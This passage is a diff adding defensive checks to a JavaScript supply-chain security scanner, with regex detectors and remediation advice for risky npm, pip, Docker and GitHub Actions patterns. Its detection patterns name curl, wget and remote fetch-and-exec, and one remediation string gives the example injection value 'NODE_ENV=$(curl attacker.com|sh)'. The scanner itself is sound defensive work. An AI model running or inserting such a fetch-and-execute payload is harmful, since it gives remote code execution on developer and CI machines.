|
|
328
|
+
* Complements the existing checkDynamicRequire which only covers req./body. prefixes.
|
|
329
|
+
*/
|
|
330
|
+
async function checkRequireNonLiteral() {
|
|
331
|
+
const hits = await codeSearch(String.raw `\brequire\s*\(\s*(?:[a-zA-Z_$][a-zA-Z0-9_$]*\b|` + "`" + String.raw `[^` + "`" + String.raw `]*\$\{)`);
|
|
332
|
+
// Safe: require('literal') or require("literal") — static strings only.
|
|
333
|
+
const unsafe = hits.filter((h) => !/\brequire\s*\(\s*['"][^'"]+['"]\s*\)/.test(h.preview));
|
|
334
|
+
if (!unsafe.length)
|
|
335
|
+
return null;
|
|
336
|
+
return {
|
|
337
|
+
id: "REQUIRE_NON_LITERAL",
|
|
338
|
+
title: "require() called with a non-literal specifier — dynamic module loading (CWE-95 / CWE-706)",
|
|
339
|
+
severity: "HIGH",
|
|
340
|
+
evidence: toEvidence(unsafe),
|
|
341
|
+
files: toFiles(unsafe),
|
|
342
|
+
requiredActions: [
|
|
343
|
+
"Replace dynamic require() with a static allowlist: const mods = { a: require('./a'), b: require('./b') }; use mods[key].",
|
|
344
|
+
"CWE-95 / ATT&CK T1059.007 — an attacker controlling the specifier can load ../../.env or any file on disk.",
|
|
345
|
+
"Enable --experimental-require-module tree shaking at build time to make dynamic require detectable at the bundler level."
|
|
346
|
+
]
|
|
347
|
+
};
|
|
348
|
+
}
|
|
349
|
+
/**
|
|
350
|
+
* CWE-706: dynamic import() with a computed specifier (not a string literal).
|
|
351
|
+
*/
|
|
352
|
+
async function checkDynamicImportNonLiteral() {
|
|
353
|
+
const hits = await codeSearch(String.raw `\bimport\s*\(\s*(?:[a-zA-Z_$][a-zA-Z0-9_$.]*|\$\{|` + "`" + String.raw `[^` + "`" + String.raw `]*\$\{)`);
|
|
354
|
+
// Safe pattern: import('literal') — static string specifier.
|
|
355
|
+
const unsafe = hits.filter((h) => !/\bimport\s*\(\s*['"][^'"]+['"]\s*\)/.test(h.preview));
|
|
356
|
+
if (!unsafe.length)
|
|
357
|
+
return null;
|
|
358
|
+
return {
|
|
359
|
+
id: "DYNAMIC_IMPORT_NON_LITERAL",
|
|
360
|
+
title: "dynamic import() with a non-literal specifier — module injection risk (CWE-706)",
|
|
361
|
+
severity: "HIGH",
|
|
362
|
+
evidence: toEvidence(unsafe),
|
|
363
|
+
files: toFiles(unsafe),
|
|
364
|
+
requiredActions: [
|
|
365
|
+
"Use a static mapping of allowlisted specifiers; validate the key before passing to import().",
|
|
366
|
+
"CWE-706 / ATT&CK T1059.007 — a controlled specifier can load arbitrary local paths or installed packages.",
|
|
367
|
+
"Fix: const ALLOWED = { pdf: () => import('./pdf.js') }; await ALLOWED[type]?.() ?? raiseError();"
|
|
368
|
+
]
|
|
369
|
+
};
|
|
370
|
+
}
|
|
371
|
+
/**
|
|
372
|
+
* npm lifecycle scripts executing user-controlled or shell-interpolated input (CWE-78).
|
|
373
|
+
* Looks for lifecycle values that contain shell variable expansion or subshell syntax.
|
|
374
|
+
*/
|
|
375
|
+
async function checkLifecycleScriptUserInput() {
|
|
376
|
+
const hits = await allSearch(String.raw `"(?:postinstall|preinstall|install|prepare|pretest|test|start|build)"\s*:\s*"[^"]*(?:\$\{|\$[A-Z_][A-Z0-9_]*|\$\(|` + "`" + String.raw `[^` + "`" + String.raw `]*` + "`" + String.raw `)"`);
|
|
377
|
+
if (!hits.length)
|
|
378
|
+
return null;
|
|
379
|
+
return {
|
|
380
|
+
id: "LIFECYCLE_SCRIPT_USER_INPUT",
|
|
381
|
+
title: "npm lifecycle script contains shell variable or subshell expansion — user-controlled execution risk (CWE-78)",
|
|
382
|
+
severity: "HIGH",
|
|
383
|
+
evidence: toEvidence(hits),
|
|
384
|
+
files: toFiles(hits),
|
|
385
|
+
requiredActions: [
|
|
386
|
+
"Lifecycle scripts that interpolate environment variables or subshells can be exploited via crafted env values in CI or developer environments.",
|
|
387
|
+
"CWE-78 / ATT&CK T1195.002 — a compromised CI env var (e.g., NODE_ENV=$(curl attacker.com|sh)) achieves RCE at install time.",
|
|
388
|
+
"Replace shell variable interpolation with a dedicated Node.js build script that reads env vars safely via process.env."
|
|
389
|
+
]
|
|
390
|
+
};
|
|
391
|
+
}
|
|
392
|
+
/**
|
|
393
|
+
* Postinstall script that makes network requests — supply chain exfiltration (CWE-494 / ATT&CK T1195.002).
|
|
394
|
+
* More targeted than checkMaliciousPostinstall: focuses specifically on postinstall + network fetch keywords.
|
|
395
|
+
*/
|
|
396
|
+
async function checkPostinstallNetworkRequest() {
|
|
397
|
+
const hits = await allSearch(String.raw `"postinstall"\s*:\s*"[^"]*(?:fetch|https?:|curl|wget|axios|got|request|node-fetch)"`);
|
|
398
|
+
if (!hits.length)
|
|
399
|
+
return null;
|
|
400
|
+
return {
|
|
401
|
+
id: "POSTINSTALL_NETWORK_REQUEST",
|
|
402
|
+
title: "postinstall script makes a network request — supply chain exfiltration vector (CWE-494 / ATT&CK T1195.002)",
|
|
403
|
+
severity: "CRITICAL",
|
|
404
|
+
evidence: toEvidence(hits),
|
|
405
|
+
files: toFiles(hits),
|
|
406
|
+
requiredActions: [
|
|
407
|
+
"A postinstall hook that fetches remote content runs automatically on every 'npm install' in every consumer project.",
|
|
408
|
+
"CWE-494 / ATT&CK T1195.002 — this is the exact technique used in the event-stream and node-ipc supply chain attacks.",
|
|
409
|
+
"Remove the postinstall network call. Bundle all required assets; if native binaries are needed, verify a SHA-256 checksum against a pinned value."
|
|
410
|
+
]
|
|
411
|
+
};
|
|
412
|
+
}
|
|
413
|
+
/**
|
|
414
|
+
* CWE-1357: package.json dependency pinned to * or "latest" — floating version.
|
|
415
|
+
* Extends checkUnsafePinnedVersion with a file-scoped line-level search.
|
|
416
|
+
*/
|
|
417
|
+
async function checkWildcardDependencyVersion() {
|
|
418
|
+
const hits = await allSearch(String.raw `"[a-zA-Z@][^"]{0,100}"\s*:\s*"(?:\*|latest|x\.x\.x|>=0\.0\.0)"`);
|
|
419
|
+
// Restrict to package.json files only.
|
|
420
|
+
const pkgHits = hits.filter((h) => h.file.endsWith("package.json"));
|
|
421
|
+
if (!pkgHits.length)
|
|
422
|
+
return null;
|
|
423
|
+
return {
|
|
424
|
+
id: "WILDCARD_DEPENDENCY_VERSION",
|
|
425
|
+
title: "package.json dependency version is '*' or 'latest' — supply chain compromise vector (CWE-1357)",
|
|
426
|
+
severity: "HIGH",
|
|
427
|
+
evidence: toEvidence(pkgHits),
|
|
428
|
+
files: toFiles(pkgHits),
|
|
429
|
+
requiredActions: [
|
|
430
|
+
"Floating version ranges allow a malicious package release to auto-install on the next 'npm install'.",
|
|
431
|
+
"CWE-1357 / ATT&CK T1195.002 — the event-stream attack exploited an unpinned transitive dependency.",
|
|
432
|
+
"Pin to an exact semver (e.g., '1.2.3'). Commit package-lock.json and enable automated vulnerability alerts via Dependabot or Socket.dev."
|
|
433
|
+
]
|
|
434
|
+
};
|
|
435
|
+
}
|
|
436
|
+
/**
|
|
437
|
+
* CWE-494: .npmrc registry pointing to a non-HTTPS or unknown/untrusted source.
|
|
438
|
+
*/
|
|
439
|
+
async function checkNpmrcUntrustedRegistry() {
|
|
440
|
+
const hits = await allSearch(String.raw `registry\s*=\s*(?!https://registry\.npmjs\.org)(?!https://registry\.yarnpkg\.com)http`);
|
|
441
|
+
// Restrict to .npmrc files.
|
|
442
|
+
const npmrcHits = hits.filter((h) => h.file.endsWith(".npmrc"));
|
|
443
|
+
if (!npmrcHits.length)
|
|
444
|
+
return null;
|
|
445
|
+
return {
|
|
446
|
+
id: "NPMRC_UNTRUSTED_REGISTRY",
|
|
447
|
+
title: ".npmrc registry set to a non-HTTPS or non-official source — dependency confusion / MitM risk (CWE-494)",
|
|
448
|
+
severity: "HIGH",
|
|
449
|
+
evidence: toEvidence(npmrcHits),
|
|
450
|
+
files: toFiles(npmrcHits),
|
|
451
|
+
requiredActions: [
|
|
452
|
+
"An HTTP (non-TLS) registry allows a network MitM to serve malicious packages without detection.",
|
|
453
|
+
"CWE-494 / ATT&CK T1195.002 — dependency confusion attacks rely on misconfigured or private registries.",
|
|
454
|
+
"Set registry=https://registry.npmjs.org (or your private Artifactory/Nexus over HTTPS). Never use http:// for package registries."
|
|
455
|
+
]
|
|
456
|
+
};
|
|
457
|
+
}
|
|
458
|
+
/**
|
|
459
|
+
* CWE-78: child_process exec/execSync called with a string argument (shell interpolation)
|
|
460
|
+
* or with shell:true. Complements injection-deep's checkCommandInjection with a focus
|
|
461
|
+
* on the explicit node:child_process import and shell:true option.
|
|
462
|
+
*/
|
|
463
|
+
async function checkChildProcessExecShell() {
|
|
464
|
+
const hits = await codeSearch(String.raw `(?:exec|execSync)\s*\(\s*(?:[` + "`" + String.raw `'"][^` + "`" + String.raw `'"]*\$\{|[a-zA-Z_$][a-zA-Z0-9_$.]*\s*[+,])|shell\s*:\s*true`);
|
|
465
|
+
// Safe: execFile() with array args — excludes those lines.
|
|
466
|
+
const unsafe = hits.filter((h) => !/execFile\s*\([^,]+,\s*\[/.test(h.preview));
|
|
467
|
+
if (!unsafe.length)
|
|
468
|
+
return null;
|
|
469
|
+
return {
|
|
470
|
+
id: "CHILD_PROCESS_EXEC_SHELL",
|
|
471
|
+
title: "child_process exec/execSync with shell:true or string interpolation — OS command injection (CWE-78)",
|
|
472
|
+
severity: "CRITICAL",
|
|
473
|
+
evidence: toEvidence(unsafe),
|
|
474
|
+
files: toFiles(unsafe),
|
|
475
|
+
requiredActions: [
|
|
476
|
+
"exec() and execSync() pass arguments through /bin/sh when given a string — any embedded metacharacter achieves RCE.",
|
|
477
|
+
String.raw `CWE-78 / ATT&CK T1059.004 — shell:true on spawn is equally dangerous; metacharacters like ; | $() \n break argument boundaries.`,
|
|
478
|
+
"Fix: replace with execFile('/path/to/binary', [arg1, arg2], { shell: false }) — never concatenate user input into a shell string."
|
|
479
|
+
]
|
|
480
|
+
};
|
|
481
|
+
}
|
|
482
|
+
/**
|
|
483
|
+
* CWE-327: crypto.createHash or createCipher using MD5 or SHA-1 for security purposes.
|
|
484
|
+
* Excludes non-security uses (content-addressable caching comments).
|
|
485
|
+
*/
|
|
486
|
+
async function checkWeakCryptoHash() {
|
|
487
|
+
const hits = await codeSearch(String.raw `crypto\.(?:createHash|createCipher|createCipheriv)\s*\(\s*['"](?:md5|sha1|sha-1|MD5|SHA1|SHA-1)['"]`);
|
|
488
|
+
// Exclude lines that are explicitly annotated as non-security / cache / checksum use.
|
|
489
|
+
const unsafe = hits.filter((h) => !/(?:cache|etag|content.address|checksum|non.?security|integrity.check|dedup)/i.test(h.preview));
|
|
490
|
+
if (!unsafe.length)
|
|
491
|
+
return null;
|
|
492
|
+
return {
|
|
493
|
+
id: "WEAK_CRYPTO_HASH",
|
|
494
|
+
title: "MD5 or SHA-1 used in crypto.createHash/createCipher — broken hash algorithm (CWE-327)",
|
|
495
|
+
severity: "HIGH",
|
|
496
|
+
evidence: toEvidence(unsafe),
|
|
497
|
+
files: toFiles(unsafe),
|
|
498
|
+
requiredActions: [
|
|
499
|
+
"MD5 and SHA-1 are cryptographically broken — collision attacks are practical and documented (Shattered, SLOTH).",
|
|
500
|
+
"CWE-327 / ATT&CK T1600 — weak hashes used for password storage, HMAC, or digital signature allow forgery.",
|
|
501
|
+
"Replace with crypto.createHash('sha256') for integrity, scrypt/argon2 for passwords, and AES-256-GCM for symmetric encryption."
|
|
502
|
+
]
|
|
503
|
+
};
|
|
504
|
+
}
|
|
505
|
+
/**
|
|
506
|
+
* CWE-1188: Hardcoded IP addresses in production code.
|
|
507
|
+
* Catches IPv4 addresses that appear as string literals, excluding loopback,
|
|
508
|
+
* private RFC-1918 docs ranges (192.0.2.x, 198.51.100.x, 203.0.113.x) and 0.0.0.0.
|
|
509
|
+
*/
|
|
510
|
+
async function checkHardcodedIpAddress() {
|
|
511
|
+
const hits = await codeSearch(String.raw `['"\`](?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)['"\`]`);
|
|
512
|
+
// Exclude loopback (127.x), unspecified (0.0.0.0), and documentation ranges.
|
|
513
|
+
const unsafe = hits.filter((h) => {
|
|
514
|
+
const m = /['"`]((?:\d{1,3}\.){3}\d{1,3})['"`]/.exec(h.preview);
|
|
515
|
+
if (!m)
|
|
516
|
+
return false;
|
|
517
|
+
const ip = m[1];
|
|
518
|
+
if (ip.startsWith("127."))
|
|
519
|
+
return false; // loopback
|
|
520
|
+
if (ip === "0.0.0.0")
|
|
521
|
+
return false; // unspecified / bind-all
|
|
522
|
+
if (ip.startsWith("192.0.2."))
|
|
523
|
+
return false; // TEST-NET-1
|
|
524
|
+
if (ip.startsWith("198.51.100."))
|
|
525
|
+
return false; // TEST-NET-2
|
|
526
|
+
if (ip.startsWith("203.0.113."))
|
|
527
|
+
return false; // TEST-NET-3
|
|
528
|
+
return true;
|
|
529
|
+
});
|
|
530
|
+
if (!unsafe.length)
|
|
531
|
+
return null;
|
|
532
|
+
return {
|
|
533
|
+
id: "HARDCODED_IP_ADDRESS",
|
|
534
|
+
title: "Hardcoded IP address in production code — infrastructure coupling and reconnaissance aid (CWE-1188)",
|
|
535
|
+
severity: "MEDIUM",
|
|
536
|
+
evidence: toEvidence(unsafe),
|
|
537
|
+
files: toFiles(unsafe),
|
|
538
|
+
requiredActions: [
|
|
539
|
+
"Hardcoded IPs expose internal topology, break across environments, and become stale without code changes.",
|
|
540
|
+
"CWE-1188 / ATT&CK T1592.002 — exposed IPs aid attacker reconnaissance and pivot targeting.",
|
|
541
|
+
"Replace with environment variables (process.env.SERVICE_HOST) or DNS names resolved at runtime. Use 0.0.0.0 for bind addresses."
|
|
542
|
+
]
|
|
543
|
+
};
|
|
544
|
+
}
|
|
545
|
+
/**
|
|
546
|
+
* GitHub Actions pinning check — detects actions pinned to mutable refs (tags/branches)
|
|
547
|
+
* instead of immutable commit SHAs (CWE-1357 / ATT&CK T1195.002).
|
|
548
|
+
*/
|
|
549
|
+
async function checkGithubActionsPinning() {
|
|
550
|
+
// Search workflow files for 'uses:' with any ref — we filter down to mutable refs below.
|
|
551
|
+
// This broad pattern catches tags with or without a 'v' prefix (e.g. @v4, @0.35.0),
|
|
552
|
+
// branch names (main, master, latest), and composite release tags (ubuntu-20.04).
|
|
553
|
+
const hits = await allSearch(String.raw `uses:\s+[\w/.-]+@[^\s#]+`);
|
|
554
|
+
// Only flag files in .github/workflows/
|
|
555
|
+
const workflowHits = hits.filter((h) => /\.github[/\\]workflows[/\\][^/\\]+\.ya?ml$/.test(h.file));
|
|
556
|
+
// Exclude lines that are already pinned to an EXACTLY 40-char lowercase hex commit SHA.
|
|
557
|
+
// The negative lookahead (?![0-9a-f]) ensures we don't accept 41+ char strings that
|
|
558
|
+
// merely start with 40 valid hex characters — those are NOT valid SHA-1 digests.
|
|
559
|
+
const mutableRefRe = /uses:\s+[\w/.-]+@([0-9a-f]{40})(?![0-9a-f])/;
|
|
560
|
+
const unpinned = workflowHits.filter((h) => !mutableRefRe.test(h.preview));
|
|
561
|
+
if (!unpinned.length)
|
|
562
|
+
return null;
|
|
563
|
+
// Extract the action ref for display
|
|
564
|
+
const evidence = unpinned.slice(0, 10).map((h) => {
|
|
565
|
+
const m = /uses:\s+([\w/.-]+)@(\S+)/.exec(h.preview);
|
|
566
|
+
const ref = m ? `${m[1]}@${m[2]}` : h.preview.trim();
|
|
567
|
+
return `${h.file}:${h.line}: ${ref}`;
|
|
568
|
+
});
|
|
569
|
+
return {
|
|
570
|
+
id: "GITHUB_ACTIONS_MUTABLE_REF",
|
|
571
|
+
title: "GitHub Actions workflow uses a mutable ref (tag/branch) instead of a pinned commit SHA — supply chain risk (CWE-1357)",
|
|
572
|
+
severity: "HIGH",
|
|
573
|
+
evidence,
|
|
574
|
+
files: [...new Set(unpinned.slice(0, 10).map((h) => h.file))],
|
|
575
|
+
requiredActions: [
|
|
576
|
+
"Pin each GitHub Action to a specific commit SHA instead of a tag or branch name.",
|
|
577
|
+
"ATT&CK T1195.002 — a compromised action repository can push malicious code to a tag; a SHA pin is immutable.",
|
|
578
|
+
"Fix: uses: actions/checkout@v4 → uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2",
|
|
579
|
+
"Use `pin-github-action` (https://github.com/mheap/pin-github-action) or Dependabot to automate SHA pinning."
|
|
580
|
+
]
|
|
581
|
+
};
|
|
582
|
+
}
|
|
583
|
+
/**
|
|
584
|
+
* Dockerfile FROM uses a mutable tag without a SHA digest — base image supply chain risk.
|
|
585
|
+
* ATT&CK T1195.002 — an attacker can push a malicious image to a mutable tag.
|
|
586
|
+
*/
|
|
587
|
+
async function checkDockerUnpinnedDigest() {
|
|
588
|
+
const dockerfiles = await fg(["**/Dockerfile", "**/Dockerfile.*", "**/*.dockerfile"], { ignore: ["**/node_modules/**", "**/dist/**", "**/.git/**"], dot: true, followSymbolicLinks: false });
|
|
589
|
+
if (!dockerfiles.length)
|
|
590
|
+
return null;
|
|
591
|
+
// FROM <image>[:<tag>] without @sha256: digest
|
|
592
|
+
// Excludes: FROM scratch (reserved keyword, has no digest)
|
|
593
|
+
const mutableTagRe = /^FROM\s+(?!scratch)(?!.*@sha256:)[^\s]+(?::latest|:[0-9a-zA-Z][^@\s]*)?\s*$/m;
|
|
594
|
+
const offendingFiles = [];
|
|
595
|
+
for (const file of dockerfiles) {
|
|
596
|
+
const content = await readFileSafe(file);
|
|
597
|
+
if (mutableTagRe.test(content)) {
|
|
598
|
+
offendingFiles.push(file);
|
|
599
|
+
}
|
|
600
|
+
}
|
|
601
|
+
if (!offendingFiles.length)
|
|
602
|
+
return null;
|
|
603
|
+
return {
|
|
604
|
+
id: "DOCKER_UNPINNED_BASE_IMAGE",
|
|
605
|
+
title: "Dockerfile FROM uses mutable tag without SHA digest — base image supply chain risk (ATT&CK T1195.002)",
|
|
606
|
+
severity: "HIGH",
|
|
607
|
+
evidence: offendingFiles.slice(0, 10).map((f) => `${f}: FROM uses mutable tag (no @sha256: digest)`),
|
|
608
|
+
files: offendingFiles.slice(0, 10),
|
|
609
|
+
requiredActions: [
|
|
610
|
+
"Pin base images to an immutable SHA-256 digest: FROM node:20-alpine@sha256:<digest>",
|
|
611
|
+
"ATT&CK T1195.002 — a compromised or overwritten upstream tag silently changes the base image on every build.",
|
|
612
|
+
"Use 'docker inspect --format={{index .RepoDigests 0}} <image>:<tag>' to obtain the digest, then commit it to the Dockerfile."
|
|
613
|
+
]
|
|
614
|
+
};
|
|
615
|
+
}
|
|
616
|
+
/**
|
|
617
|
+
* Python setup.py or install script fetches and executes remote content — supply chain backdoor.
|
|
618
|
+
* ATT&CK T1195.001 — attackers embed remote-fetch-and-exec in setup.py to compromise installs.
|
|
619
|
+
*/
|
|
620
|
+
async function checkPythonSetupExec() {
|
|
621
|
+
const hitsA = await allSearch(String.raw `(?:subprocess\.(?:call|run|Popen|check_output)|os\.system|os\.popen)\s*\([^)]*(?:curl|wget|http|requests)`);
|
|
622
|
+
const hitsB = await allSearch(String.raw `^\s*exec\s*\([^)]*(?:open|urlopen|requests)`);
|
|
623
|
+
const hits = [...hitsA, ...hitsB];
|
|
624
|
+
if (!hits.length)
|
|
625
|
+
return null;
|
|
626
|
+
return {
|
|
627
|
+
id: "PYTHON_SETUP_EXEC",
|
|
628
|
+
title: "Python setup.py or install script fetches and executes remote content — supply chain backdoor (ATT&CK T1195.001)",
|
|
629
|
+
severity: "CRITICAL",
|
|
630
|
+
evidence: toEvidence(hits),
|
|
631
|
+
files: toFiles(hits),
|
|
632
|
+
requiredActions: [
|
|
633
|
+
"Remove remote fetch-and-exec from setup.py or any install script. Bundle all required resources in the package.",
|
|
634
|
+
"ATT&CK T1195.001 — setup.py runs automatically during 'pip install'; any remote code execution here is a supply chain backdoor.",
|
|
635
|
+
"If external data is required at install time, fetch it lazily at runtime and verify a pinned hash before execution."
|
|
636
|
+
]
|
|
637
|
+
};
|
|
638
|
+
}
|
|
639
|
+
/**
|
|
640
|
+
* pip install without --require-hashes — dependency substitution via compromised PyPI mirror.
|
|
641
|
+
* ATT&CK T1195.001 — hash-less installs allow a MitM or mirror compromise to swap packages.
|
|
642
|
+
*/
|
|
643
|
+
async function checkPipNoHashes() {
|
|
644
|
+
const hits = await allSearch(String.raw `pip(?:3)?\s+install(?!.*--require-hashes)(?!.*--no-deps).*requirements`);
|
|
645
|
+
if (!hits.length)
|
|
646
|
+
return null;
|
|
647
|
+
return {
|
|
648
|
+
id: "PIP_NO_HASH_CHECKING",
|
|
649
|
+
title: "pip install without --require-hashes — dependency substitution via compromised PyPI mirror possible (ATT&CK T1195.001)",
|
|
650
|
+
severity: "HIGH",
|
|
651
|
+
evidence: toEvidence(hits),
|
|
652
|
+
files: toFiles(hits),
|
|
653
|
+
requiredActions: [
|
|
654
|
+
"Add --require-hashes to all 'pip install -r requirements*.txt' invocations.",
|
|
655
|
+
"ATT&CK T1195.001 — without hash verification, a compromised PyPI mirror or index-url can serve a backdoored package.",
|
|
656
|
+
"Generate hashes with 'pip-compile --generate-hashes' (pip-tools) and commit the locked requirements file."
|
|
657
|
+
]
|
|
658
|
+
};
|
|
659
|
+
}
|
|
660
|
+
/**
|
|
661
|
+
* pip.conf/.pypirc points to a non-official index, or .npmrc has always-auth=true — credential leakage risk.
|
|
662
|
+
*/
|
|
663
|
+
async function checkPipConfUntrusted() {
|
|
664
|
+
const hitsA = await allSearch(String.raw `(?:index-url|extra-index-url)\s*=\s*https?://(?!pypi\.org|files\.pythonhosted\.org)`);
|
|
665
|
+
const hitsB = await allSearch(String.raw `always-auth\s*=\s*true`);
|
|
666
|
+
const hits = [...hitsA, ...hitsB];
|
|
667
|
+
if (!hits.length)
|
|
668
|
+
return null;
|
|
669
|
+
return {
|
|
670
|
+
id: "PIP_CONF_UNTRUSTED_REGISTRY",
|
|
671
|
+
title: "pip.conf/.pypirc points to non-official index or .npmrc has always-auth=true — credential leakage to untrusted registries",
|
|
672
|
+
severity: "HIGH",
|
|
673
|
+
evidence: toEvidence(hits),
|
|
674
|
+
files: toFiles(hits),
|
|
675
|
+
requiredActions: [
|
|
676
|
+
"Restrict index-url/extra-index-url to pypi.org or a controlled private mirror over HTTPS with pinned certs.",
|
|
677
|
+
"always-auth=true in .npmrc sends credentials to every registry URL, including potential attacker-controlled mirrors.",
|
|
678
|
+
"Audit all pip.conf, .pypirc, and .npmrc files. Remove non-official indexes or gate them behind an authenticated internal proxy."
|
|
679
|
+
]
|
|
680
|
+
};
|
|
681
|
+
}
|
|
682
|
+
/**
|
|
683
|
+
* Unscoped private package name resolvable on public npm registry — dependency confusion risk.
|
|
684
|
+
* ATT&CK T1195.001 — a public package with the same short name shadows the internal one.
|
|
685
|
+
*/
|
|
686
|
+
// Internal-sounding suffix patterns that shouldn't be public
|
|
687
|
+
const DEP_CONFUSION_INTERNAL_RE = /-(?:internal|private|local|corp|company|utils|auth|api|core|lib|sdk|client|server|service|common|shared|helpers?)$/i;
|
|
688
|
+
// Valid short unscoped name: lowercase, 3-20 chars, no @ prefix
|
|
689
|
+
const DEP_CONFUSION_UNSCOPED_RE = /^[a-z][a-z0-9-]{2,19}$/;
|
|
690
|
+
const DEP_SECTIONS = ["dependencies", "devDependencies", "peerDependencies"];
|
|
691
|
+
function collectConfusionHitsFromPkg(file, pkg) {
|
|
692
|
+
const evidence = [];
|
|
693
|
+
for (const section of DEP_SECTIONS) {
|
|
694
|
+
const deps = pkg[section];
|
|
695
|
+
if (!deps || typeof deps !== "object")
|
|
696
|
+
continue;
|
|
697
|
+
for (const name of Object.keys(deps)) {
|
|
698
|
+
if (name.startsWith("@"))
|
|
699
|
+
continue;
|
|
700
|
+
if (!DEP_CONFUSION_UNSCOPED_RE.test(name))
|
|
701
|
+
continue;
|
|
702
|
+
if (!DEP_CONFUSION_INTERNAL_RE.test(name))
|
|
703
|
+
continue;
|
|
704
|
+
evidence.push(`${file}: "${name}" in ${section} — unscoped internal-looking package name`);
|
|
705
|
+
}
|
|
706
|
+
}
|
|
707
|
+
return evidence;
|
|
708
|
+
}
|
|
709
|
+
async function checkUnscopedDepConfusion() {
|
|
710
|
+
const packageFiles = await fg(["**/package.json"], { ignore: ["**/node_modules/**", "**/dist/**", "**/.git/**"], dot: true, followSymbolicLinks: false });
|
|
711
|
+
if (!packageFiles.length)
|
|
712
|
+
return null;
|
|
713
|
+
const allEvidence = [];
|
|
714
|
+
for (const file of packageFiles) {
|
|
715
|
+
const raw = await readFileSafe(file);
|
|
716
|
+
let pkg;
|
|
717
|
+
try {
|
|
718
|
+
pkg = JSON.parse(raw);
|
|
719
|
+
}
|
|
720
|
+
catch {
|
|
721
|
+
continue;
|
|
722
|
+
}
|
|
723
|
+
allEvidence.push(...collectConfusionHitsFromPkg(file, pkg));
|
|
724
|
+
}
|
|
725
|
+
if (!allEvidence.length)
|
|
726
|
+
return null;
|
|
727
|
+
// Derive unique file list from evidence entries (format: "<file>: ...")
|
|
728
|
+
const uniqueFiles = [...new Set(allEvidence.map((e) => e.split(":")[0]))].slice(0, 10);
|
|
729
|
+
return {
|
|
730
|
+
id: "DEP_CONFUSION_UNSCOPED",
|
|
731
|
+
title: "Unscoped private package name potentially resolvable on public npm registry — dependency confusion risk (ATT&CK T1195.001)",
|
|
732
|
+
severity: "HIGH",
|
|
733
|
+
evidence: allEvidence.slice(0, 10),
|
|
734
|
+
files: uniqueFiles,
|
|
735
|
+
requiredActions: [
|
|
736
|
+
"Scope all internal packages under a private namespace (e.g., @your-org/pkg-name) to prevent public npm resolution.",
|
|
737
|
+
"ATT&CK T1195.001 — dependency confusion attacks publish a higher-versioned public package with the same unscoped name to hijack installs.",
|
|
738
|
+
"Alternatively, register the unscoped names as empty placeholder packages on npmjs.com to block squatting."
|
|
739
|
+
]
|
|
740
|
+
};
|
|
741
|
+
}
|
|
742
|
+
export async function checkSupplyChainDeep(_opts) {
|
|
743
|
+
try {
|
|
744
|
+
const results = await Promise.all([
|
|
745
|
+
checkDestructiveCommands(),
|
|
746
|
+
checkKeyloggerPatterns(),
|
|
747
|
+
checkCredentialExfiltration(),
|
|
748
|
+
checkReverseShellPatterns(),
|
|
749
|
+
checkEnvExfiltration(),
|
|
750
|
+
checkMaliciousPostinstall(),
|
|
751
|
+
checkDynamicRequire(),
|
|
752
|
+
checkBase64ObfuscatedPayload(),
|
|
753
|
+
checkCryptoMining(),
|
|
754
|
+
checkSensitiveFileAccess(),
|
|
755
|
+
checkUnsafePinnedVersion(),
|
|
756
|
+
checkProcessExitWithWipe(),
|
|
757
|
+
checkHiddenFileWrite(),
|
|
758
|
+
checkDnsExfiltration(),
|
|
759
|
+
checkClipboardMonitoring(),
|
|
760
|
+
checkObfuscatedScriptInjection(),
|
|
761
|
+
// ── New targeted supply-chain checks ──
|
|
762
|
+
checkEvalDynamicArg(),
|
|
763
|
+
checkRequireNonLiteral(),
|
|
764
|
+
checkDynamicImportNonLiteral(),
|
|
765
|
+
checkLifecycleScriptUserInput(),
|
|
766
|
+
checkPostinstallNetworkRequest(),
|
|
767
|
+
checkWildcardDependencyVersion(),
|
|
768
|
+
checkNpmrcUntrustedRegistry(),
|
|
769
|
+
checkChildProcessExecShell(),
|
|
770
|
+
checkWeakCryptoHash(),
|
|
771
|
+
checkHardcodedIpAddress(),
|
|
772
|
+
// ── GitHub Actions supply chain ──
|
|
773
|
+
checkGithubActionsPinning(),
|
|
774
|
+
// ── Docker / Python / pip supply chain ──
|
|
775
|
+
checkDockerUnpinnedDigest(),
|
|
776
|
+
checkPythonSetupExec(),
|
|
777
|
+
checkPipNoHashes(),
|
|
778
|
+
checkPipConfUntrusted(),
|
|
779
|
+
checkUnscopedDepConfusion(),
|
|
780
|
+
]);
|
|
781
|
+
return results.filter((f) => f !== null);
|
|
782
|
+
}
|
|
783
|
+
catch (err) {
|
|
784
|
+
console.warn("[checkSupplyChainDeep] Internal error:", sanitizeErrorMessage(err instanceof Error ? err.message : String(err)));
|
|
785
|
+
return [];
|
|
786
|
+
}
|
|
787
|
+
}
|